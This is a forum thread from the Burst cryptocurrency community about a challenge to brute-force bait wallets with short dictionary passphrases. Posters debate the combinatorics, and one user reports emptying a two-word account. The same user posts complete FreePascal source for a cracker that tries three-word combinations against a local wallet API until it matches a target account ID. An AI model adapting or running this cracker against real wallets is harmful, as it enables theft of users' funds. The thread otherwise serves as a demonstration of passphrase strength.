The Canary - Burst Early Warning System
-
@daWallet well if it was only one word you can try one by one. That's an easy one, when you have two you now have to start making the combinations and so on. Brute force might be used and successful if there are few words to discover :)
-
@daWallet how are we supposed to brute force 12 thats like over a 31726512 combinations
-
@HiDevin From memory, there are 1,204 words in the dictionary, so the possible combinations (r!)/(n! * (n - r)!) where r= 1,204 and n =12 is: 183,357,161,96,648,799,306,792,081,830 combinations. Good luck brute forcing that any would be hacker..... Add in a single letter change or symbol/number transposition and you just made it exponentially harder.
-
@haitch 1626 words. That's the point of the exercise: To show that 12 words is secure (or not) by an example.
The second account with a 2 words passphrase got emptied.
-
well, alpha testing my stalking system.
-
@haitch I really don't get your math man...
I think to calculate the possibilities is just:
D^W
where D is the number of words in the dictionary and W is the number of words to use in the pass...
So for 12 words with 1204 words in the dictionary should be something like 9'279'356'137'345'777'447'161'964'892'117'800'000 possible combinations or am i wrong? xP@dawallet i create a imcros and javascript bot just now to do this tries and it is running for the 3 words pass... Although by my math so i can reach the last try i will take 34.08 years... LOL
I know that imacros is not the best way to do this but it literally took me 10 minutes to do!
EDIT: actually i redid the math and it will take me 408.96 years to reach the last try this way hahahaha Imacros is not for this for sure hahahaha
-
If order in combinations doesn't matter - need use (r!)/(n! * (n - r)!).
But in BURST passwords order of words matter, so D^W
-
@Blago Yeah, I was thinking of the formula for combinations, not permutations. For permutations it (n!)/(n - r)! , which presumes the same word is not used more than once, if words can be repeated then n ^ r.
-
@haitch Two word account cracked - took approx 29 minutes. 1,395,756 passphrases tested - approx 800 per second
3 word running - worst case about 62 days. Four word worst case is 276 years. For each additional word, multiply the previous result by 1626. So a five word result is worst case 448,000 years. For 12 words I come up with 13,537,856,339,904,134,474,012,675,034 years. Replace one character in the phrase with a number or symbol - you just made it virtually impossible - the 12 word passphrase from a known dictionary is basically brute force proof.
-
@haitch yep me personaly with the new wallet i auto generated a pass phrase and then added some numbers , symbols , caps in various places so its not using 100% whats in the known word data base.
-
@Gibsalot i also use words in other languages, and portuguese skank, i think it's pretty impossible someone to hack my passphrases xD
-
@gpedro my old pass phrase should be not hackable it was song lyric based three 12 word lyrics from 3 dif songs strung together with various add ins like sertain numbers and caps for a total of 179 digits that i could physicly remember and input from memory within 1 or 2 trys lol .. but i did a complet comp clean and wallet swap after i found a phishing virus on my comp and had no idea what i could of found.. can not remember the new pass phrase as its to far removed from being personal to be rememberd for longer than 10 sec
-
@Gibsalot then be careful to not lose your backups hahhaa
-
@haitch over 62.5M combinations tried and still looking for the three word phrase.
-
@haitch what are you using to make the atempts >?
-
@Gibsalot An app I wrote - it's trying to brute force the phrases. Did the one and two word accounts, two word took about 29 minutes, three word will take up to 2 months.
It's currently a quick and dirty app - looking to multi thread it to reduce cracking time, but even with 10 threads the four word phrase is looking at 20+ years.
-
@haitch If anyone wants to improve on my app, feel free. It's written/compiled in FreePascal.
{$ifdef fpc} {$mode delphi} {$endif} {$apptype console} uses blcksock,strutils; const crlf = #13 + #10; words : array[0..1625] of ansistring = ('like', 'just', 'love', 'know', 'never', 'want', 'time', 'out', 'there', 'make', 'look', 'eye', 'down', 'only', 'think', 'heart', 'back', 'then', 'into', 'about', 'more', 'away', 'still', 'them', 'take', 'thing', 'even', 'through', 'long', 'always', 'world', 'too', 'friend', 'tell', 'try', 'hand', 'thought', 'over', 'here', 'other', 'need', 'smile', 'again', 'much', 'cry', 'been', 'night', 'ever', 'little', 'said', 'end', 'some', 'those', 'around', 'mind', 'people', 'girl', 'leave', 'dream', 'left', 'turn', 'myself', 'give', 'nothing', 'really', 'off', 'before', 'something', 'find', 'walk', 'wish', 'good', 'once', 'place', 'ask', 'stop', 'keep', 'watch', 'seem', 'everything', 'wait', 'got', 'yet', 'made', 'remember', 'start', 'alone', 'run', 'hope', 'maybe', 'believe', 'body', 'hate', 'after', 'close', 'talk', 'stand', 'own', 'each', 'hurt', 'help', 'home', 'god', 'soul', 'new', 'many', 'two', 'inside', 'should', 'true', 'first', 'fear', 'mean', 'better', 'play', 'another', 'gone', 'change', 'use', 'wonder', 'someone', 'hair', 'cold', 'open', 'best', 'any', 'behind', 'happen', 'water', 'dark', 'laugh', 'stay', 'forever', 'name', 'work', 'show', 'sky', 'break', 'came', 'deep', 'door', 'put', 'black', 'together', 'upon', 'happy', 'such', 'great', 'white', 'matter', 'fill', 'past', 'please', 'burn', 'cause', 'enough', 'touch', 'moment', 'soon', 'voice', 'scream', 'anything', 'stare', 'sound', 'red', 'everyone', 'hide', 'kiss', 'truth', 'death', 'beautiful', 'mine', 'blood', 'broken', 'very', 'pass', 'next', 'forget', 'tree', 'wrong', 'air', 'mother', 'understand', 'lip', 'hit', 'wall', 'memory', 'sleep', 'free', 'high', 'realize', 'school', 'might', 'skin', 'sweet', 'perfect', 'blue', 'kill', 'breath', 'dance', 'against', 'fly', 'between', 'grow', 'strong', 'under', 'listen', 'bring', 'sometimes', 'speak', 'pull', 'person', 'become', 'family', 'begin', 'ground', 'real', 'small', 'father', 'sure', 'feet', 'rest', 'young', 'finally', 'land', 'across', 'today', 'different', 'guy', 'line', 'fire', 'reason', 'reach', 'second', 'slowly', 'write', 'eat', 'smell', 'mouth', 'step', 'learn', 'three', 'floor', 'promise', 'breathe', 'darkness', 'push', 'earth', 'guess', 'save', 'song', 'above', 'along', 'both', 'color', 'house', 'almost', 'sorry', 'anymore', 'brother', 'okay', 'dear', 'game', 'fade', 'already', 'apart', 'warm', 'beauty', 'heard', 'notice', 'question', 'shine', 'began', 'piece', 'whole', 'shadow', 'secret', 'street', 'within', 'finger', 'point', 'morning', 'whisper', 'child', 'moon', 'green', 'story', 'glass', 'kid', 'silence', 'since', 'soft', 'yourself', 'empty', 'shall', 'angel', 'answer', 'baby', 'bright', 'dad', 'path', 'worry', 'hour', 'drop', 'follow', 'power', 'war', 'half', 'flow', 'heaven', 'act', 'chance', 'fact', 'least', 'tired', 'children', 'near', 'quite', 'afraid', 'rise', 'sea', 'taste', 'window', 'cover', 'nice', 'trust', 'lot', 'sad', 'cool', 'force', 'peace', 'return', 'blind', 'easy', 'ready', 'roll', 'rose', 'drive', 'held', 'music', 'beneath', 'hang', 'mom', 'paint', 'emotion', 'quiet', 'clear', 'cloud', 'few', 'pretty', 'bird', 'outside', 'paper', 'picture', 'front', 'rock', 'simple', 'anyone', 'meant', 'reality', 'road', 'sense', 'waste', 'bit', 'leaf', 'thank', 'happiness', 'meet', 'men', 'smoke', 'truly', 'decide', 'self', 'age', 'book', 'form', 'alive', 'carry', 'escape', 'damn', 'instead', 'able', 'ice', 'minute', 'throw', 'catch', 'leg', 'ring', 'course', 'goodbye', 'lead', 'poem', 'sick', 'corner', 'desire', 'known', 'problem', 'remind', 'shoulder', 'suppose', 'toward', 'wave', 'drink', 'jump', 'woman', 'pretend', 'sister', 'week', 'human', 'joy', 'crack', 'grey', 'pray', 'surprise', 'dry', 'knee', 'less', 'search', 'bleed', 'caught', 'clean', 'embrace', 'future', 'king', 'son', 'sorrow', 'chest', 'hug', 'remain', 'sat', 'worth', 'blow', 'daddy', 'final', 'parent', 'tight', 'also', 'create', 'lonely', 'safe', 'cross', 'dress', 'evil', 'silent', 'bone', 'fate', 'perhaps', 'anger', 'class', 'scar', 'snow', 'tiny', 'tonight', 'continue', 'control', 'dog', 'edge', 'mirror', 'month', 'suddenly', 'comfort', 'given', 'loud', 'quickly', 'gaze', 'plan', 'rush', 'stone', 'town', 'battle', 'ignore', 'spirit', 'stood', 'stupid', 'yours', 'brown', 'build', 'dust', 'hey', 'kept', 'pay', 'phone', 'twist', 'although', 'ball', 'beyond', 'hidden', 'nose', 'taken', 'fail', 'float', 'pure', 'somehow', 'wash', 'wrap', 'angry', 'cheek', 'creature', 'forgotten', 'heat', 'rip', 'single', 'space', 'special', 'weak', 'whatever', 'yell', 'anyway', 'blame', 'job', 'choose', 'country', 'curse', 'drift', 'echo', 'figure', 'grew', 'laughter', 'neck', 'suffer', 'worse', 'yeah', 'disappear', 'foot', 'forward', 'knife', 'mess', 'somewhere', 'stomach', 'storm', 'beg', 'idea', 'lift', 'offer', 'breeze', 'field', 'five', 'often', 'simply', 'stuck', 'win', 'allow', 'confuse', 'enjoy', 'except', 'flower', 'seek', 'strength', 'calm', 'grin', 'gun', 'heavy', 'hill', 'large', 'ocean', 'shoe', 'sigh', 'straight', 'summer', 'tongue', 'accept', 'crazy', 'everyday', 'exist', 'grass', 'mistake', 'sent', 'shut', 'surround', 'table', 'ache', 'brain', 'destroy', 'heal', 'nature', 'shout', 'sign', 'stain', 'choice', 'doubt', 'glance', 'glow', 'mountain', 'queen', 'stranger', 'throat', 'tomorrow', 'city', 'either', 'fish', 'flame', 'rather', 'shape', 'spin', 'spread', 'ash', 'distance', 'finish', 'image', 'imagine', 'important', 'nobody', 'shatter', 'warmth', 'became', 'feed', 'flesh', 'funny', 'lust', 'shirt', 'trouble', 'yellow', 'attention', 'bare', 'bite', 'money', 'protect', 'amaze', 'appear', 'born', 'choke', 'completely', 'daughter', 'fresh', 'friendship', 'gentle', 'probably', 'six', 'deserve', 'expect', 'grab', 'middle', 'nightmare', 'river', 'thousand', 'weight', 'worst', 'wound', 'barely', 'bottle', 'cream', 'regret', 'relationship', 'stick', 'test', 'crush', 'endless', 'fault', 'itself', 'rule', 'spill', 'art', 'circle', 'join', 'kick', 'mask', 'master', 'passion', 'quick', 'raise', 'smooth', 'unless', 'wander', 'actually', 'broke', 'chair', 'deal', 'favorite', 'gift', 'note', 'number', 'sweat', 'box', 'chill', 'clothes', 'lady', 'mark', 'park', 'poor', 'sadness', 'tie', 'animal', 'belong', 'brush', 'consume', 'dawn', 'forest', 'innocent', 'pen', 'pride', 'stream', 'thick', 'clay', 'complete', 'count', 'draw', 'faith', 'press', 'silver', 'struggle', 'surface', 'taught', 'teach', 'wet', 'bless', 'chase', 'climb', 'enter', 'letter', 'melt', 'metal', 'movie', 'stretch', 'swing', 'vision', 'wife', 'beside', 'crash', 'forgot', 'guide', 'haunt', 'joke', 'knock', 'plant', 'pour', 'prove', 'reveal', 'steal', 'stuff', 'trip', 'wood', 'wrist', 'bother', 'bottom', 'crawl', 'crowd', 'fix', 'forgive', 'frown', 'grace', 'loose', 'lucky', 'party', 'release', 'surely', 'survive', 'teacher', 'gently', 'grip', 'speed', 'suicide', 'travel', 'treat', 'vein', 'written', 'cage', 'chain', 'conversation', 'date', 'enemy', 'however', 'interest', 'million', 'page', 'pink', 'proud', 'sway', 'themselves', 'winter', 'church', 'cruel', 'cup', 'demon', 'experience', 'freedom', 'pair', 'pop', 'purpose', 'respect', 'shoot', 'softly', 'state', 'strange', 'bar', 'birth', 'curl', 'dirt', 'excuse', 'lord', 'lovely', 'monster', 'order', 'pack', 'pants', 'pool', 'scene', 'seven', 'shame', 'slide', 'ugly', 'among', 'blade', 'blonde', 'closet', 'creek', 'deny', 'drug', 'eternity', 'gain', 'grade', 'handle', 'key', 'linger', 'pale', 'prepare', 'swallow', 'swim', 'tremble', 'wheel', 'won', 'cast', 'cigarette', 'claim', 'college', 'direction', 'dirty', 'gather', 'ghost', 'hundred', 'loss', 'lung', 'orange', 'present', 'swear', 'swirl', 'twice', 'wild', 'bitter', 'blanket', 'doctor', 'everywhere', 'flash', 'grown', 'knowledge', 'numb', 'pressure', 'radio', 'repeat', 'ruin', 'spend', 'unknown', 'buy', 'clock', 'devil', 'early', 'false', 'fantasy', 'pound', 'precious', 'refuse', 'sheet', 'teeth', 'welcome', 'add', 'ahead', 'block', 'bury', 'caress', 'content', 'depth', 'despite', 'distant', 'marry', 'purple', 'threw', 'whenever', 'bomb', 'dull', 'easily', 'grasp', 'hospital', 'innocence', 'normal', 'receive', 'reply', 'rhyme', 'shade', 'someday', 'sword', 'toe', 'visit', 'asleep', 'bought', 'center', 'consider', 'flat', 'hero', 'history', 'ink', 'insane', 'muscle', 'mystery', 'pocket', 'reflection', 'shove', 'silently', 'smart', 'soldier', 'spot', 'stress', 'train', 'type', 'view', 'whether', 'bus', 'energy', 'explain', 'holy', 'hunger', 'inch', 'magic', 'mix', 'noise', 'nowhere', 'prayer', 'presence', 'shock', 'snap', 'spider', 'study', 'thunder', 'trail', 'admit', 'agree', 'bag', 'bang', 'bound', 'butterfly', 'cute', 'exactly', 'explode', 'familiar', 'fold', 'further', 'pierce', 'reflect', 'scent', 'selfish', 'sharp', 'sink', 'spring', 'stumble', 'universe', 'weep', 'women', 'wonderful', 'action', 'ancient', 'attempt', 'avoid', 'birthday', 'branch', 'chocolate', 'core', 'depress', 'drunk', 'especially', 'focus', 'fruit', 'honest', 'match', 'palm', 'perfectly', 'pillow', 'pity', 'poison', 'roar', 'shift', 'slightly', 'thump', 'truck', 'tune', 'twenty', 'unable', 'wipe', 'wrote', 'coat', 'constant', 'dinner', 'drove', 'egg', 'eternal', 'flight', 'flood', 'frame', 'freak', 'gasp', 'glad', 'hollow', 'motion', 'peer', 'plastic', 'root', 'screen', 'season', 'sting', 'strike', 'team', 'unlike', 'victim', 'volume', 'warn', 'weird', 'attack', 'await', 'awake', 'built', 'charm', 'crave', 'despair', 'fought', 'grant', 'grief', 'horse', 'limit', 'message', 'ripple', 'sanity', 'scatter', 'serve', 'split', 'string', 'trick', 'annoy', 'blur', 'boat', 'brave', 'clearly', 'cling', 'connect', 'fist', 'forth', 'imagination', 'iron', 'jock', 'judge', 'lesson', 'milk', 'misery', 'nail', 'naked', 'ourselves', 'poet', 'possible', 'princess', 'sail', 'size', 'snake', 'society', 'stroke', 'torture', 'toss', 'trace', 'wise', 'bloom', 'bullet', 'cell', 'check', 'cost', 'darling', 'during', 'footstep', 'fragile', 'hallway', 'hardly', 'horizon', 'invisible', 'journey', 'midnight', 'mud', 'nod', 'pause', 'relax', 'shiver', 'sudden', 'value', 'youth', 'abuse', 'admire', 'blink', 'breast', 'bruise', 'constantly', 'couple', 'creep', 'curve', 'difference', 'dumb', 'emptiness', 'gotta', 'honor', 'plain', 'planet', 'recall', 'rub', 'ship', 'slam', 'soar', 'somebody', 'tightly', 'weather', 'adore', 'approach', 'bond', 'bread', 'burst', 'candle', 'coffee', 'cousin', 'crime', 'desert', 'flutter', 'frozen', 'grand', 'heel', 'hello', 'language', 'level', 'movement', 'pleasure', 'powerful', 'random', 'rhythm', 'settle', 'silly', 'slap', 'sort', 'spoken', 'steel', 'threaten', 'tumble', 'upset', 'aside', 'awkward', 'bee', 'blank', 'board', 'button', 'card', 'carefully', 'complain', 'crap', 'deeply', 'discover', 'drag', 'dread', 'effort', 'entire', 'fairy', 'giant', 'gotten', 'greet', 'illusion', 'jeans', 'leap', 'liquid', 'march', 'mend', 'nervous', 'nine', 'replace', 'rope', 'spine', 'stole', 'terror', 'accident', 'apple', 'balance', 'boom', 'childhood', 'collect', 'demand', 'depression', 'eventually', 'faint', 'glare', 'goal', 'group', 'honey', 'kitchen', 'laid', 'limb', 'machine', 'mere', 'mold', 'murder', 'nerve', 'painful', 'poetry', 'prince', 'rabbit', 'shelter', 'shore', 'shower', 'soothe', 'stair', 'steady', 'sunlight', 'tangle', 'tease', 'treasure', 'uncle', 'begun', 'bliss', 'canvas', 'cheer', 'claw', 'clutch', 'commit', 'crimson', 'crystal', 'delight', 'doll', 'existence', 'express', 'fog', 'football', 'gay', 'goose', 'guard', 'hatred', 'illuminate', 'mass', 'math', 'mourn', 'rich', 'rough', 'skip', 'stir', 'student', 'style', 'support', 'thorn', 'tough', 'yard', 'yearn', 'yesterday', 'advice', 'appreciate', 'autumn', 'bank', 'beam', 'bowl', 'capture', 'carve', 'collapse', 'confusion', 'creation', 'dove', 'feather', 'girlfriend', 'glory', 'government', 'harsh', 'hop', 'inner', 'loser', 'moonlight', 'neighbor', 'neither', 'peach', 'pig', 'praise', 'screw', 'shield', 'shimmer', 'sneak', 'stab', 'subject', 'throughout', 'thrown', 'tower', 'twirl', 'wow', 'army', 'arrive', 'bathroom', 'bump', 'cease', 'cookie', 'couch', 'courage', 'dim', 'guilt', 'howl', 'hum', 'husband', 'insult', 'led', 'lunch', 'mock', 'mostly', 'natural', 'nearly', 'needle', 'nerd', 'peaceful', 'perfection', 'pile', 'price', 'remove', 'roam', 'sanctuary', 'serious', 'shiny', 'shook', 'sob', 'stolen', 'tap', 'vain', 'void', 'warrior', 'wrinkle', 'affection', 'apologize', 'blossom', 'bounce', 'bridge', 'cheap', 'crumble', 'decision', 'descend', 'desperately', 'dig', 'dot', 'flip', 'frighten', 'heartbeat', 'huge', 'lazy', 'lick', 'odd', 'opinion', 'process', 'puzzle', 'quietly', 'retreat', 'score', 'sentence', 'separate', 'situation', 'skill', 'soak', 'square', 'stray', 'taint', 'task', 'tide', 'underneath', 'veil', 'whistle', 'anywhere', 'bedroom', 'bid', 'bloody', 'burden', 'careful', 'compare', 'concern', 'curtain', 'decay', 'defeat', 'describe', 'double', 'dreamer', 'driver', 'dwell', 'evening', 'flare', 'flicker', 'grandma', 'guitar', 'harm', 'horrible', 'hungry', 'indeed', 'lace', 'melody', 'monkey', 'nation', 'object', 'obviously', 'rainbow', 'salt', 'scratch', 'shown', 'shy', 'stage', 'stun', 'third', 'tickle', 'useless', 'weakness', 'worship', 'worthless', 'afternoon', 'beard', 'boyfriend', 'bubble', 'busy', 'certain', 'chin', 'concrete', 'desk', 'diamond', 'doom', 'drawn', 'due', 'felicity', 'freeze', 'frost', 'garden', 'glide', 'harmony', 'hopefully', 'hunt', 'jealous', 'lightning', 'mama', 'mercy', 'peel', 'physical', 'position', 'pulse', 'punch', 'quit', 'rant', 'respond', 'salty', 'sane', 'satisfy', 'savior', 'sheep', 'slept', 'social', 'sport', 'tuck', 'utter', 'valley', 'wolf', 'aim', 'alas', 'alter', 'arrow', 'awaken', 'beaten', 'belief', 'brand', 'ceiling', 'cheese', 'clue', 'confidence', 'connection', 'daily', 'disguise', 'eager', 'erase', 'essence', 'everytime', 'expression', 'fan', 'flag', 'flirt', 'foul', 'fur', 'giggle', 'glorious', 'ignorance', 'law', 'lifeless', 'measure', 'mighty', 'muse', 'north', 'opposite', 'paradise', 'patience', 'patient', 'pencil', 'petal', 'plate', 'ponder', 'possibly', 'practice', 'slice', 'spell', 'stock', 'strife', 'strip', 'suffocate', 'suit', 'tender', 'tool', 'trade', 'velvet', 'verse', 'waist', 'witch', 'aunt', 'bench', 'bold', 'cap', 'certainly', 'click', 'companion', 'creator', 'dart', 'delicate', 'determine', 'dish', 'dragon', 'drama', 'drum', 'dude', 'everybody', 'feast', 'forehead', 'former', 'fright', 'fully', 'gas', 'hook', 'hurl', 'invite', 'juice', 'manage', 'moral', 'possess', 'raw', 'rebel', 'royal', 'scale', 'scary', 'several', 'slight', 'stubborn', 'swell', 'talent', 'tea', 'terrible', 'thread', 'torment', 'trickle', 'usually', 'vast', 'violence', 'weave', 'acid', 'agony', 'ashamed', 'awe', 'belly', 'blend', 'blush', 'character', 'cheat', 'common', 'company', 'coward', 'creak', 'danger', 'deadly', 'defense', 'define', 'depend', 'desperate', 'destination', 'dew', 'duck', 'dusty', 'embarrass', 'engine', 'example', 'explore', 'foe', 'freely', 'frustrate', 'generation', 'glove', 'guilty', 'health', 'hurry', 'idiot', 'impossible', 'inhale', 'jaw', 'kingdom', 'mention', 'mist', 'moan', 'mumble', 'mutter', 'observe', 'ode', 'pathetic', 'pattern', 'pie', 'prefer', 'puff', 'rape', 'rare', 'revenge', 'rude', 'scrape', 'spiral', 'squeeze', 'strain', 'sunset', 'suspend', 'sympathy', 'thigh', 'throne', 'total', 'unseen', 'weapon', 'weary'); var i,j,k : word; Sock : TTCPBlockSocket; Request : String; Response : string; ID : ansistring; ofs : word; tests : qword = 0; procedure OpenWallet; begin sock := TTCPBlockSocket.Create; Sock.Connect('127.0.0.1','8125'); If Sock.LastError <> 0 then begin Writeln('Error connecting'); halt; end; end; procedure SendRequest(passphrase : String); var Buffer : String; begin Request := 'POST /burst HTTP/1.1' + crlf + 'Host: 127.0.0.1:8125' + crlf + 'Connection: keep-alive'+ crlf + 'Content-Length: ' + dec2numb(38 + length(passphrase),2,10) + crlf; Request := request + 'Accept: */*' + crlf + 'Origin: http://127.0.0.1:8125' + crlf + 'X-Requested-With: XMLHttpRequest' + crlf; Request := Request + 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' + crlf + 'Referer: http://127.0.0.1:8125/test' + crlf + 'Accept-Encoding: gzip, deflate'; Request := Request + 'Accept-Language: en-US,en;q=0.8' + crlf + crlf + 'requestType=getAccountId&secretPhrase=' + passphrase + CRLF; Sock.SendString(Request); Response := ''; repeat Buffer := sock.RecvPacket(1); Response := Response + Buffer; until Buffer = ''; // writeln(Response); //sock.closesocket; end; procedure checkphrase; begin id := ''; inc(tests); while ID = '' do begin // loop incase we don't get a response in 1 millisecond sendrequest(words[i] + ' ' + words[j] + ' ' + words[k]); // ofs := pos('accountRS',Response); delete(Response,1,ofs + 11); //writeln(response); ID := copy2symbdel(Response,'"'); end; // writeln(words[i] + ' ' + words[j] + ' ' + words[k],' ',id); If tests mod 10000 = 0 then writeln(tests); //update world if ID = 'BURST-UP6D-R28A-67XL-DYBJL' then begin writeln(words[i] + ' ' + words[j] + ' ' + words[k],' ',tests); halt; end; end; begin openwallet; for i := 0 to 1625 do for j := 0 to 1625 do for k := 0 to 1625 do checkphrase; end.
-
@haitch said in The Canary - Burst Early Warning System:
but even with 10 threads the four word phrase is looking at 20+ years.
-
@socalguy for a four word phrase yep, but anything longer ,,,,,,, blue balls.
-
@daWallet I created a new account with a rather long passphrasse (>2800 characters inclusing spaces). And I noticed that the encryption tool of the client doesn't handle it properly, so that when it gets loaded it changes the original passphrase. Is there a limit of characters that can be handled?








